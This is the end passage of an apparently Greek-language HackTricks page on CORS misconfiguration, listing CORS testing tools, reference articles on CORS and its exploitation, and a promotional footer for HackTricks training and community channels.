* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)

## Αναφορές
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)


<details>

<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>